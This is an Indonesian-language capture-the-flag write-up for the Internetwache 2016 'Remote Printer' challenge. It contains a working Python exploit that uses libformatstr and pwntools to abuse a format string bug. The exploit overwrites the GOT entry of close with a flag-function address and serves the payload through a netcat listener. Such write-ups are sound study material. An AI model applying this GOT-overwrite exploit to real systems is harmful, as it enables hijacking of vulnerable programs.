Internetwache 2016 - Remote Printer (80 Points)
Masalah
Diberikan binary remote printer
, eksploitasi server korban dan temukan informasi rahasia didalamnya!
Penyelesaian
Binary ini memiliki kelemahan format string yang bisa dieksploitasi dengan libformatstr
.
Gunakan solver.py
sebagai attacker server.
import os
import time
from libformatstr import *
from pwn import *
N = 32
velf = ELF("./RemotePrinter")
flag = 0x08048867
b = FormatStr(N)
b[velf.got["close"]] = flag
with open("./payload", "w") as f:
f.write(b.payload(7, 0))
f.write('\n')
os.system('cat payload | nc -nvlp 51998')
$ python solver.py
Kemudian hubungkan klien remote printer ke server yang diinginkan, misalkan 127.0.0.1:51998 dan simpan dalam berkas option
.
127.0.0.1
51998
Maka server korban bisa dieksploitasi saat menjalankan perintah ini:
./RemotePrinter < options